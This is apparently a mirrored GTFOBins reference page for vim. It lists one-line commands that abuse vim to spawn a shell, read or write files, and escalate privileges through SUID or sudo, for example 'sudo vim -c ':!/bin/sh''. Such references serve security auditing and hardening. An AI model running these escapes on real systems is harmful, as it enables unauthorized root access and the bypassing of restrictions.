1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-14 11:21:33 +01:00
GTFOBins.github.io/_gtfobins/vim.md
2018-08-20 15:00:34 +02:00

376 B

functions
execute-interactive file-write file-read suid-enabled sudo-enabled
code
vim -c ':!/bin/sh'
code
vim :set shell=/bin/sh :shell
code
vim file_to_write idata ^[ w
code
vim file_to_read
code
./vim -c ':!/bin/sh -p'
code
sudo vim -c ':!/bin/sh'